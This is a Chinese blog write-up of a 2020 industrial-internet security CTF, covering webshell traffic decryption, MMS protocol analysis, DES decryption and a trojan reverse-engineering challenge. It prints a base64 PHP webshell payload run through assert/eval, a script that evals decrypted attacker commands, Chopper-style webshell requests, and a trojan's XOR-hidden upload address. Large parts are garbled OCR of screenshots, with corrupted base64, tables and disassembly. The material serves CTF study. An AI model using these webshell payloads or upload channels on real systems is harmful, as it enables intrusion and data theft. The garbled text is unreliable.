2020年江西工业互联网安全技术技能大赛WP



置顶 <u>kafe8</u> ● 于 2020-11-09 22:04:08 发布 ● 1299 ● 收藏 11 分类专栏: <u>网络安全 CTF</u> 文章标签: <u>网络安全 python 经验分享 信息安全</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/y920312/article/details/109586883</u> 版权

<u>网络安全 同时被 2 个专栏收录</u> 4 篇文章 0 订阅



4 篇文章 0 订阅 订阅专栏

目录

##黑客留下的文件

MMS协议分析

##常见的对称加密

失窃的文件

findbackdoor

address

##恶意文件分析

##黑客留下的文件

1、前置知识

已知新型的php一句话木马如果接收到pass参数,则会生成16位的随机秘钥,存储到session中,返回的内容是AES的密钥。

2、用Wireshark打开后,首先看其http流量,发现主要对shell.jsp和.index.php页面进行了请求。

			- 						
	1	180	Source I	estination		Proto	COL		Length
	59 5	.930305	127.0.0.1	27.0.0.1		UTTO			
	61 5	053304	127.0.0.1	27.0.0.1		TCD			
-	63.5	054434	127.0.0.1	27.0.0.1	_	TCP	_	_	
	62.5	054454	127.0.0.1	27.0.0.1		TCP			
	03 0	.954450	127.0.0.1	27.0.0.1		TCP			
	4 w	ireshark · 导出 · I	HTTP 对象测察			_	п	×	
							-		
	分组	主机名	内容举型	大小	文件名			^	
	66	127.0.0 1-8888	text/html	2360 hytes	public			100	
r.	94	127.0.0.1:8080	application/octet-stream	8556 bytes	shell.isp				interface lo
lu]	101	127.0.0.1:8080	text/html	10 kB	shell.isp				
Int	113	127.0.0.1:8888	text/html	10 kB	shell.php				and the second second
in.	198	127.0.0.1:8888	text/html	16 bytes	.index.ph	p?pass	=531		1079, Len: 342
ivi	204	127.0.0.1:8888	text/html	16 bytes	.index.ph	p?pass	=692		
i	207	127.0.0.1:8888	application/x-www-form-urlence	oded 1112 bytes	.index.ph	D			
	212	127.0.0.1:8888	text/html	128 bytes	.index.ph	p			
	215	127.0.0.1:8888	application/x-www-form-urlence	oded 2220 bytes	.index.ph	p			
	242	127.0.0.1:8888	text/html	227 kB	.index.ph	p			
	266	127.0.0.1:8888	application/x-www-form-urlence	oded 5464 bytes	.index.ph	p			
-	271	127.0.0.1:8888	text/html	192 bytes	.index.ph	p			
90	340	127.0.0.1:8888	application/x-www-form-urlence	oded 5504 bytes	.index.ph	p			
10	345	127.0.0.1:8888	text/html	128 bytes	.index.ph	p			
20	418	127.0.0.1:8888	application/x-www-form-urlence	oded 5484 bytes	.index.ph	p			
30	423	127.0.0.1:8888	text/html	3308 bytes	.index.ph	p			
10	441	127.0.0.1:8888	application/x-www-form-urlence	oded 5464 bytes	.index.ph	p			
50	445	127.0.0.1:8888	text/html	192 bytes	.index.ph	p		~	

3、通过查看http流量包发现GET /public/.index.php?pass=531和pass632符合新型的木马是随机生产的16位随机密钥。

▲ 国本部 文件(F)	留下的信息.pcapng 编辑(E) 视图(V) 期時	(G) 捕获(C) 分析(A) 统计(S) 电运	(Y) 无线(W) 工具(T)	帮助(H)	
		९ ≠ ≠ ≝ । ± 📃 🗏 ९	a a 11		
No.	Time 59 5.936365 60 5.953377	Source Destin 127.0.0.1 127.0 127.0.0.1 127.0	ation 0.0.1 0.0.1	Protocol TCP HTTP	Length
	61 5.953394 62 5.954434 63 5.954456	127.0.0.1 127.0 127.0.0.1 127.0 127.0.0.1 127.0 127.0.0.1 127.0	0.0.1 0.0.1 0.0.1	TCP TCP TCP	
< > Fro > Nut > Im > Tr > My > Lit	Wireshark - 景出 - HT 分配 主切名 P 66 127.0.0.1:8888 te 94 127.0.0.1:8080 0e 113 127.0.0.1:8080 te 113 127.0.0.1:8088 te 198 127.0.0.1:8688 te 198 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 212 127.0.0.1:8688 ag 214 127.0.0.1:8688 ag 214 127.0.0.1:8688 ag 214 127.0.0.1:8688 ag 217 127.0.0.1:8688 te 216 127.0.0.1:8688 te 216 127.0.0.1:8688 te 216 127.0.0.1:8688 te 216 127.0.0.1:8688 te 216 127.0.0.1:8688 te 216 127.0.0.1:8688 te 217 127.0.0.1:8688 te 218 127 127.0.0.1:8688 te 218 127 127 127 127 127 127 127 127 127 127	TP 対象列表 TP 対象列表 I容英型 ext/html pplication/octet-stream ext/html ext/html pplication/x-www-form-urlencoded ext/html pplication/x-www-form-urlencoded ext/html pplication/x-www-form-urlencoded ext/html pplication/x-www-form-urlencoded ext/html pplication/x-www-form-urlencoded	大小 文件名 2360 bytes public 8556 bytes shell,jsp 10 kB shell,jsp 10 kB shell,jsp 16 bytes .index,ph 16 bytes .index,ph 1112 bytes .index,ph 227 kB .index,ph 227 kB .index,ph 192 bytes .index,ph 192 bytes .index,ph	p?pass=531 L0 p?pass=692 p p p	interface lo0, 79, Len: 3424
0010 0010 0020 0030 0040 0040	340 127.0.0.1:8688 ap 345 127.0.0.1:8688 te 418 127.0.0.1:8688 ap 423 127.0.0.1:8688 te 441 127.0.0.1:8688 ap 445 127.0.0.1:8688 te	ppication/x-www-form-urlencoded xxt/html oplication/x-www-form-urlencoded xxt/html oplication/x-www-form-urlencoded xxt/html	128 bytes .index.ph 5484 bytes .index.ph 3308 bytes .index.ph 5464 bytes .index.ph 192 bytes .index.ph	р р р р р р	

pass=632返回的PHPSESSID=gl5g303u0a6qi7483oqiucnbb0 内容是"ad8d0732eaa9f749"



通过查询两个PHPSESSID的值发现后面基本是PHPSESSID=gl5g303u0a6qi7483oqiucnbb0,所以猜测 pass为692。

4、然后导出所有的HTTP文件发现大部分是.index.php的文件

		🛅 🖹 🎑 🧣 🏓	🛎 🗿 🖢 📃 📃 @, Q, Q, 🏢				
, to	p.stream eq 29)					
No.	Time	Source	Destination	Destination Protocol			gth
	190 18.403	3141 127.0.0.	.1 127.0.0.1	T	CP		
	191 18.40	3231 127.0.0.	.1 127.0.0.1	Т	CP		
	192 18.40	▲ Wireshark · 导出 · F	HTTP 对象列表		- 🗆	×	
	193 18.40	_					
	194 18.40	介 分组 主机名	内容类型	大小	文件名	^	
	195 18.40	66 127.0.0.1:8888	text/html	2360 bytes	public		
	198 18.40	94 127.0.0.1:8080	application/octet-stream	8556 bytes	shell.jsp		
	199 18.40	101 127.0.0.1:8080	text/html	10 kB	shell.jsp		
<		113 127.0.0.1:8888	text/html	10 kB	shell.php		
		198 127.0.0.1:8888	text/html	16 bytes	.index.php?pass=531		- 0
	rame 198: 4	204 127.0.0.1:8888	text/html	16 bytes	.index.php?pass=692	10	50,
> N	lu11/Loopbac	207 127.0.0.1:8888	application/x-www-form-urlencoded	1112 bytes	.index.php		
> 1	internet Pro	212 127.0.0.1:8888	text/html	128 bytes	.index.php		
> T	ransmission	215 127.0.0.1:8888	application/x-www-form-urlencoded	2220 bytes	.index.php	2	423
> H	lypertext Tr	242 127.0.0.1:8888	text/html	227 kB	.index.php		
> L	ine-based 1	266 127.0.0.1:8888	application/x-www-form-urlencoded	5464 bytes	.index.php		
		271 127.0.0.1:8888	text/html	192 bytes	.index.php		
		340 127.0.0.1:8888	application/x-www-form-urlencoded	5504 bytes	.index.php		
		345 127.0.0.1:8888	text/html	128 bytes	.index.php		
		418 127.0.0.1:8888	application/x-www-form-urlencoded	5484 bytes	.index.php		
		423 127.0.0.1:8888	text/html	3308 bytes	.index.php		_
000	0 02 00 0	441 127.0.0.1:8888	application/x-www-form-urlencoded	5464 bytes	.index.php		
001	10 77 00 0	445 127.0.0.1:8888	text/html	192 bytes	.index.php	<u> </u>	
002	20 /1 +5 C	文本过滤器:					
003	30 43 a5 1		Sava	Saug (11	Close Hel	<u></u>	
004			Save	Dave All		2	
005	50 31 31 32 30	34 31 32 35 34	20 47 4d 54 0d 0a 53 65	1/1./1.5/	GMT Se		
000	70 72 76 65	70 Ra 20 11 70	61 62 68 65 2f 22 2e 2/ r	rver: An	ache/2 /		

5、导出之后的.index.php使用PHP脚本进行循环遍历,通过查看发现shell.php没啥有用的内容,有用的基本都 在.index.php中,通过脚本去遍历输出.index.php解密的内容,脚本如下:

```
<?php

$key = 'ad8d0732eaa9f749';

for($i=0;$i<=13;$i++){

$temp = file_get_contents('./.index('.$i.').php');
$temp=openssl_decrypt($temp, "AES128", $key);
echo $temp;
$arr=explode('|',$temp);
$func=$arr[0];
$params=$arr[1];
$params = preg_replace('/eval/', 'echo', $params);

eval($params);
}
</pre>
```

6、查看源码view-source:http://localhost/bx/pass_all.php

浏览查看到关键信息cat*.txt内容。返回包数据包含status和msg,status返回success,msg包括内容

]Send="cat Wr#7_1s_Th15_tzt";
main (\$cmd) :
["status": "c3VJT2Vzcw=", "nsg": "ZnzhZ3tnYjk00G04ZTMYNWZIM2Q5MG0zZWE10TMzNJ11ZEPhMn0K"] assert [eval (base64_decode (" QGVycn9rX311cG9rdG1uZrgwKTsNCg
XRsLTgnLCdnYnsvL01HTk9SRScs1HN0c1k7DQog1CAg1HMwID0gaWiVbrTo12d1arcs13V02104Ly91R05PUkUnLCRzMSk7DQog1CAgaWTo1HMwID091CRzdHIpew0K1CAg1CBy20R1
s13V02104Ly91R05PUkUnLCRzdH1p0w0K1CAg1H0NCn0NCn21bmN0aW9u1G1haW4o10Nt2CkNCheNC1Ag1CBAc2V0K3RpbWVbG1taX0oMCk7DQog1CAg0G1nbm9yZV91c2VyX2P1b310KL
CARCENV2dWx01D0etX1vtXkcKTsNC1Ae1CAk00FkdEpu1D0e6G1usV9nZ8Qo12Rbc2F1bGVtZnVuT3Rbb25z1vk7D0ce1CAeaWysKCEezW1w5Hko1FEh2H8X01kb1HsNC1Ae1CAe1CAe1FEh
gICAgICAgICR0YWR0Sh4pPSB1eHBsb2R1KCcs1ywgIFBh2HERb1k7DQogICAgICAgICAgICAgICR0YWR0Sh4pPSBhcnTheV9tYEAo13RyaW0hLCAk0CFkdEpaKTshC1AgICB9IOVsc2Ugew0KICAgIC
CAGIGINIChG0UxTRSADPT0gc3RvcG9xKHN0crRvbG932X1oUEbgX09TX3wg13dpb1cpKS87Dqog1CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
eKCRK/dWVRRE11KCdzeXXN02W0rK/SEbballe1SAK0n212Senc31zd0Vt1/veeTPBh/38Kb1kp1Rtb1cLae1Cae1Cae1Cae1Cae1Cae1Cae1Cae1Cae1Cae1C
Cx7DdogICAgfSB1bHN1IG1mICgkSrVIUURCSCgncHJvT19vc6VuJykgT#5kICEgJBJ2Y2UoJ38yb2Nfb3B1bjcsICR0T#R0Sm4pK587DdogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
g13BpcgUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
uPSEmcmVh2CgkcG1wZXhtMV0sIDEwMjQpOw0KICAgICB9DQogICAgICAgICAgIEBwcm9jX2Nsb3N1KCRoYW5kbGUpOw0KICAgIH0gZWxzZSEpZiAoJEp1ZVFEQkgoJ3Ehc3N0hHJ1JykgTW
3Rhcn4oKTsNC1AgICAgICAgICAgICAgCFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG91X2d1dF9jb250ZW50cygpOw0KICAgICBgICBgICByI2z1YW4oKTsNC1AgICB9IGVsc2UgaWTg
nLCAKUCP kdEpuKSkgew0K1CAg1CAg1CAka1dKVyA91HNoZ#xxK2V4Z#MoJGMpOw0K1CAg1H0g2#xxZSBpZ1AoJEp1ZVFE4kgoJ2V4Z#MrKSBhbm@g1SAk@nZjZSgnZKh1Yycs1CRQY#ROSe
ymgJGtXS1cpOw0KICAgICAgICAgICAks1dKVyA9IGpvaW4oT2hyKIEwKSwgJGtXS1cpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCd1eGVJJykgYW5kICEgJEJ2T2UoJ3Bv
7DQog1CAg1CAg1CAg1CAg1CAg1CAg1CAg1CAg1CAg1CA
CAgICAgIHONCIAgICAgICAgICAgICAgICAgOABJbG9z2SgkZnApOw0KICAgIHOg2WxzZSB7DqogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
k2Sg1bm9u2SBv2iBwcm9jX29w2W4wcGFzc3RocnUvc2h1bGzfZXh1Yy91eGVjL2V4ZWMgaXMgTXZhaWzhYnz11ik7DQogICAgICAgICAgICRrZXkgPSAbX1NFU1NjT05bj2znXTsNCiAgICAgIC
CAgICAgenV0dKJu0w0KICAgICAgICAgICABCB9DQogICAgJHJ1c3VsdFsic3RhdHVz110gPSB1Y0N1NjRf2W5jb2R1KCJzdWNjZXNz11k7DQogICAgJHJ1c3VsdFsibXNn110gPSB1Y0N1
oanNvb191bmNv2GUojHj1c3VsdCks1CAkX1NFU1NjT05bj2srX5k7Dqp9DqoNCm21bmN0aW9uIGVuY3j5cHqojGRhdG8sjGt1eSkNCnsNCg1p21ghZXh0ZW52aW9uX2xvYWR12Cgnb3B1br
yRpKysp1HsNC1Ag1CAJCQkgJGRhdGPbJG1d1D0gJGRhdGPbJG1dx1Rr2X1bJGkrMSTxNV071A0K1CAg1AkJCK0NCgkJCKJ1dHVyb1Ak2GP0TtsNC1Ag1CAJfQOK1CAg1GVsc2UNC1Ag1CAJ
sICRrZKp0w0KICAgIA19Dqp9JGKtZD01Y2F0IG1u2GV4LnBocCl7DqptTW1uKCRjbWqp0w=*'));8error_reporting(0);//block.com/oc/c
https://biog.court.ite/yb20012
runction getsarestr(astr)

通过查找有用信息得到执行Is和cat Wh@7_1s_Th15.txt

执行ls返回的是

Wh@7_1s_Th15.txt css favicon.ico index.php js robots.txt svg web.config

执行cat Wh@7_1s_Th15.txt返回的是

{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3tmYjk0OGQ4ZTMyNWZIM2Q5MGQzZWE1OTMzNjIIZDFhMn0K"}

通过base64解码:

{"status":"success","msg":"flag{fb948d8e325fe3d90d3ea593369ed1a2} "}

得到flag: flag{fb948d8e325fe3d90d3ea593369ed1a2}

MMS协议分析

1、前置知识

1 PDU Type:无符号整型, 1byte, 标记状态, 注意上图中这行后面的0x0e, 代表连接请求, 还有其他类型如下所示. 0×1: ED Expedited Data, 加急数据 0×2: EA Expedited Data Acknowledgement, 加急数据确认 0×4: UD, 用户数据 0×5: RJ Reject, 拒绝 0×6: AK Data Acknowledgement, 数据确认 0×7: ER TPDU Error, TPDU错误 0×8: DR Disconnect Request, 断开请求 0xC: DC Disconnect Confirm, 断开确认 0xD: CC Connect Confirm, 连接确认 0xE: CR Connect Request, 连接请求

四种MMS包,分别是:

initiate-RequestPDU(启动-请求PDU)

confirmed-RequestPDU(确认-请求PDU)

initiate-ResponsePDU(启动-应答PDU)

confirmed-ResponsePDU(确认-应答PDU)

2、打开mms流量文件,筛选mms协议流量包

~	+(r) weam(c) tottd(v) to	cas(o) metric) trait(v) st	11(2) HERD(1) STUDIAN) Th	e(1) 96.00(m)		
á		9 * * * * * *				
T	uu l					
No.	Time	Source	Destination	Protocol	Length	Info
	827 249.459641	192.168.142.148	192.168.142.133	MMS	260	initiate-Reques
Г	828 249.459865	192.168.142.133	192.168.142.148	MMS	199	initiate-Respon
	834 253.408009	192.168.142.148	192.168.142.133	MMS	119	01 confirmed-Re
	835 253.408309	192.168.142.133	192.168.142.148	MMS	85	01 confirmed-Re
	837 253.891101	192.168.142.148	192.168.142.133	MMS	123	02 confirmed-Re
	838 253.891384	192.168.142.133	192.168.142.148	MMS	85	02 confirmed-Re
	840 254.427026	192.168.142.148	192.168.142.133	MMS	118	03 confirmed-Re
	841 254.427297	192.168.142.133	192.168.142.148	MMS	85	03 confirmed-Re
	843 255.357508	192.168.142.148	192.168.142.133	MMS	119	04 confirmed-Re
	844 255.357730	192.168.142.133	192.168.142.148	MMS	85	04 confirmed-Re
	853 258.890930	192.168.142.148	192.168.142.133	MMS	123	05 confirmed-Re
	854 258.891207	192.168.142.133	192.168.142.148	MMS	85	05 confirmed-Re
	858 259,688983	192.168.142.148	192.168.142.133	MMS	122	06 confirmed-Re
<						
>	Frame 827: 260 byte	es on wire (2080 bits), 260 bytes captured	(2080 bits)		
>	Ethernet II, Src: 1	WMware 1d:07:17 (00:0	c:29:1d:07:17), Dst:	VMware 75:b2:38 ((00:0c:29:75:b2:38)	
>	Internet Protocol	Version 4, Src: 192.1	68.142.148, Dst: 192.	168.142.133		
>	Transmission Contro	ol Protocol, Src Port	: 4078, Dst Port: 102	, Seg: 23, Ack: 1	15, Len: 206	
>	TPKT, Version: 3, 1	Length: 206				
>	150 8073/X.224 COT	P Connection-Oriented	Transport Protocol			
>	ISO 8327-1 OSI Ses	sion Protocol				
>	ISO 8823 OSI Prese	ntation Protocol				
>	ISO 8650-1 OSI ASS	ociation Control Serv	rice			
	MMC					

3、发现是一个数据的传输过程。DT表示数据传输

> Transmission Control Protocol, Src Port: 40/8, Dst Port: 102, 3
> TPKT, Version: 3, Length: 206
> ISO 8073/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
PDU Type: DT Data (0x0f)
[Destination reference: 0x420000]
.000 0000 = TPDU number: 0x00

首先是两个数据包是

initiate-RequestPDU(启动-请求PDU)

initiate-ResponsePDU(启动-应答PDU)

随后开始传输数据。

4、仔细观察流量包,发现confirmed-RequestPDU,发现字段和值都为以下格式

mms.domainld: IEDRelay1

mms.itemId: LLN0\$xx\$xx\$xx

5、没有思路,追踪TCP流



浏览TCP流,发现几个异常的数据包

Fa9072.0	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmh\$cdcNsa.0
Fa9072.0	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmh\$cdcNsa.0
Fa9072.0	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmh\$edeNsa.0a.
F	*.(.&0\$." IEDRelay1LLN666i5250356j4249a.0
F	*.(.&0\$." IEDRelay1LLN616732557968356ja.0
Fa9072.0	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmlr\$cdcNs
F	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmh\$cdcNsa.0
Fa9072.0	*.(.&0\$." IEDRelay1LLN0\$EX\$OpTmh\$cdcNsa.0
/+0).'.%.	<pre>IEDRelay1LLN0\$DC\$NamPlt\$configReva.0</pre>
* (295 "	TEDRelav1 LLNOSEXSOnTmbScdcNs a 0
/+0)%.	IEDRelay1LLN0%DC%Nampit%configReva.0
*.(.&0\$."	<pre>IEDRelay1LLNO\$EX\$OpTmh\$cdcNsa.0a</pre>
* (.895."	TEDRelav1, LLAv7sxCA9wSYrVIChr
* (Pot "	
····(·@0>. · ·	<u>- понстаутс.норскрортипрейскоз</u>
*.(.&0\$."	IEDRelay1LLN0\$EX\$OpTmh\$cdcNsa.0a
/+0).'.%.	IEDRelav1.,LLN0\$DC\$NamPlt\$configRev,a.0
1 10) ' %	TEDBolavi LLNG¢DC¢NamDlt¢configBov 2.0
/+0).'.%.	<pre>IEDRelay1LLN0\$DC\$NamPlt\$configReva.0</pre>
* (.895.".	TEDRelav1. LLN0\$EX\$OpTmb\$cdcNs
1 101 1 9	TEDRolov1 LINGEDCENomDltsconfigBoy 2.0
	IEDReidy1LLNOSDCSNamp1CSCOnfigRev
*.(.&0\$."	IEDRelay1LLNO\$EX\$OpTmh\$cdcNs
*.(.&0\$."	IEDRelay1LLAy7sxCA9wSYrVLCbra.0a
* (295 "	TEDDolout LLNOSEVCONTrobedollo 2.0
* (Pot "	
····(.&0\$	IEUKelay1LLN0%EX%Up1mn%cdcNsa.0
/+0).'.%.	<pre>IEDRelay1LLN0\$DC\$NamPlt\$configReva.0</pre>
1 101 ' 9	TEDPolovi LLNGCCCNompliteconfigPov 2.0

```
分别为
```

3189流量包:LLN666i5250356j42493196流量包:LLN616732557968356j4678流量包:LLAy7sxCA9wSYrVLCbr

6、猜测前三位为固定格式,观察发现666i5250356j4249,616732557968356j。类似于hex编码,但是i,j在16 进制不存在,所以进行替换爆破。

```
import binascii

s1 = '666i5250356j4249'

s2 = '616732557968356j'

s = ['a','b','c','d','e','f']

for i in range(len(s)-1):
   tmp2 = s1.replace('i',s[i])
   tmp2 = tmp2.replace('j',s[i+1])
   print (tmp2.decode('hex'))
   tmp1 = s2.replace('j',s[i+1])
   print (tmp1.decode('hex'))
   print ('-----')
```

执行结果如下:

```
PS D:\Code> & "D:/Program Files/Python/Python27/python.exe" d:/Code/1.py
fjRP5kBI
ag2Uyh5k
-----
fkRP51BI
ag2Uyh51
-----
flRP5mBI
ag2Uyh5m
-----
fmRP5nBI
ag2Uyh5n
-----
fnRP5oBI
ag2Uyh5o
-----
```

发现如下爆破结果可以进行拼接组合得到flag

flRP5mBl

ag2Uyh5m

##常见的对称加密

```
1、观察所给文件中的s盒,发现与pyDes库中的s盒不同,遂替换里面的 sbox
```

1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, # 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # # # S8 # [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, # 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, # 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, # 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], # S1 [14, 13, 4, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12] tr; /11,040,520.18; //920312

2、明文密码给了welcome,直接DES解密就好了,中间还有个unicode编码,直接用binascii库解码就可以了

EXP脚本如下:

```
# -*- coding:utf-8 -*-
import pyDes,binascii
c='a669ca04e31c244d9dd2decc1f2678a4624986567b25af5d'
key='welcome'.encode()+b'\x00'
print(key)
d=pyDes.des(key,'ECB')
```

print(d.decrypt(binascii.unhexlify(c)))

运行结果如下:



##失窃的文件

- 1、下载解压发现12306_aux.exe文件会报毒,锁定为木马文件
- 2、IDA打开12306_aux.exe文件,定位关键字符



3、找到关键代码,将byte 42A8F8中的数据每一个都异或0x91



https://blog.csdn.net/y920312

; DATA XREF: sub_408170+1AD1r ; sub_408170+1841o ...

4、解密脚本如下:

执行得到结果:

✓ ■ yuebao 1月.xisx 2月.xisx 3.2月.xisx 3.2月.visx	4 5 6	# @Author : ZhangQZ # @Email : 834130827@qq.com # @File : <u>decyp</u> t.py
前 月报.xisx	7	e# @Software: PyCharm
品 关键业务油理成效月段整理制法.py	8	txt = [_0xf0, 0xf2, 0xf4, 0xf5, 0xe4, 0xf7]
時期結構有产量理.py	9	result = ""
Scratches and Consoles	18	for i in txt:
- History Callers is Barriella	11	result += chr(i^8x91)
	12	print result
<pre>c decypt × decypt × d:\python2.7\python.</pre>	exe D:/p	y_script/pyshark/decypt.py
1 headuf		
acedor		
= acedor		

得到压缩包密码: aceduf

5、对压缩包进行解密,发现word文件加密,还需要密码才能打开。

F	密码	?	×
Ì	青键入打开文件所需的密码 C:\\zhang\AppData\Local\Temp\Rar\$DIb8108.444	419\ur	l.docx
	确定	Ę	则消

6、IDA定位关键代码

<pre>GetCurrentDirectoryA(0x288u, &Buffer); sub_4091A0(&Buffer, "%s\\%s", &Buffer); if [H&SAStartup(0x202u, &HSAData) && LOBYTE(H { while (1) { Sleep(0x927C0u); if (lInternetCheckConnectionA("http://whw && lInternetCheckConnectionA("http://whw && lInternetCheckConnectionA("http://whw && linternetCheckConnectionA("http://whw && beak; } sub_407FC0(&Buffer); v4 = &pszIn if (pdzIn) { do</pre>	SAData.wVersion is.chinaz.com", .baidu.com", lu lagz.net", lu,	1u, 0 (1, 0) (0))	2 && HIBYTE(WSAData.wHighVersion) == 2) 9)
*v4++ ^= 0x91u;			
while (*v4);			
pcch0ut = 4096:			
HelGetPart4(Resth RestOut Reschout 20	0).		
.data:0042A9F8 pszIn	db	0F9h	1
.data:0042A9F8			
.data:0042A9F9	db	0E5h	
.data:0042A9FA	db	0E5h	
.data:0042A9FB	db	0E1h	
.data:0042A9FC	db	ØABh	
.data:0042A9FD	db	ØBEh	
.data:0042A9FE	db	ØBEh	
.data:0042A9FF	db	0A0h	
.data:0042AA00	db	0A1h	
.data:0042AA01	db	0A1h	
.data:0042AA02	db	ØBFh	
.data:0042AA03	db	0A5h	
.data:0042AA04	db	0A5h	
.data:0042AA05	db	ØBFh	
.data:0042AA06	db	0A2h	
.data:0042AA07	db	0A2h	
.data:0042AA08	db	ØBFh	
.data:0042AA09	db	0A9h	
.data:0042AA0A	db	ØBEh	
.data:0042AA0B	db	0E4h	
.data:0042AA0C	db	0E1h	
.data:0042AA0D	db	ØFDh	
.data:0042AA0E	db	ØFEh	
.data:0042AA0F	https://db	9Feh	
.data:0042AA10	db	0F5h	

EXP解码如下:

 In each Crystanipheron In each 	G-N	E F Zends ↑ 4 E F _E R T	
Bit Vocke Bit Vocke	<pre>0</pre>	 2 △ mpane mappert basis 27] 2 △ mpane mappert basis 4 → mpane mappert	(á ,
<pre>>> desyst - >> + D:Upythan2.7Upythan. + accevd = S http://260.44.35.8/su = Process finished wit </pre>	exe D:/py_script/pyshark/decypt.pr pload h exit code 0		

得到解密密码为: http://100.44.33.8/upload

7、输入密码,得到flag。

No.	単成 (西文王) - 五日 単 「 泉 - au x	× A	As - 2	* * M	E · E · Y		×-1	1 r -	Aa8bCoDi ,正文	Aa8bCcD 7 元IRN	AaBi	AaBbC	AaBbC	AaBbt ansa	AASECID Refittere	4480-CaD 1848	AAROCAD HIDINA	A
Rive o		7a		-		878		5							HUC.			
		fla	ag{i	cs3e4	40d8c0	38cb	o202c	d3()e2ee	ad40	e797	4}↔ ://blo						

findbackdoor

1、使用wireshark查看流量有点像菜刀流量

constructor():: Use of undefined constant contended - assumed 'cancended' in cbc:(phpStudy)MMA(upleads)security.php/bs on line cbs1/bschr/s WithWithWithWithWithWithWithWithWithWith			
<pre>XprivativeS1 /vploads/security.php (HTVL.1 K-forund=6.forus 158.188.18.78 Befere: http://192.188.179.265 Center.impriv.impriv.com/sec/forus/lance</pre>	Notice : Use of undefined of	constant endendend - assumed 'endend	cmd' in C:\phpStudy\WW\uploads\security.php on line 1
X-formated-for: 10:180:120.78 Gotten: Type: application/-www-form:intenceded Gotten: Type: application/-www-form: application/-wwww-form: application/-wwwww-form: application/-www	XiviXivPOST /uploads/security.php	HTTP/1.1	
<pre>werter: Ittls://ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists:/ac//ist.inc.ac// ists/ists/ists/ists/ists/ists/ists/is</pre>	X-Forwarded-For: 162.168.128.70		
<pre>bits:=grant: Rev111s/s 40 (competible; Baldopide/2.8; =http://www.baldo.com/search/spider.html) bits:=grant: Rev111s/s 40 (competible; Baldopide/2.8; =http://www.baldoc.com/search/spider.html) bits:=grant: Rev111s/s 40 (competible; Baldopide/2.4; bits) bits:=grant:</pre>	Content Turne: application/x star fo	heboraelau an	
<pre>inst:: 392.106.129.204 (Section 2) Instruments (S</pre>	User-Arent: Norilla/5.0 (compatibl	a: Baidusnider/2.0: abttp://www.bai	du. com/search/seider. html)
Content-Length: 200 Cathe-Control: no-cathe Cathe-Control: no-cathe	Host: 192,168,179,245	a, output / 110, 1000////	and could be an only all and all all all all all all all all all al
Gathe-Control: no-cache cndendes-erroy.app("ess"."ert",arroy("er"."Al(\"\\\Soc330\\"Ba"."SEG"."4_dEC."OdE\\';gev"."Al(\\\ Soc320, 'Galaxy:Barby	Content-Length: 780		
cmccmdcmd-array_map("ms", "et", array("ev", "Al(('\\Soct30\\\"Ba", "565", "4_dEC," "OE\\\";@ev", "al(\\\ Soct"(Guiwes/2200bale_387XL220bale_23	Cache-Control: no-cache		
<pre>text content type: pack type://www.file/content/c</pre>	cadradead-seess assiftseet test a		CT TA 40-T PO401117.000.0 Po1/111
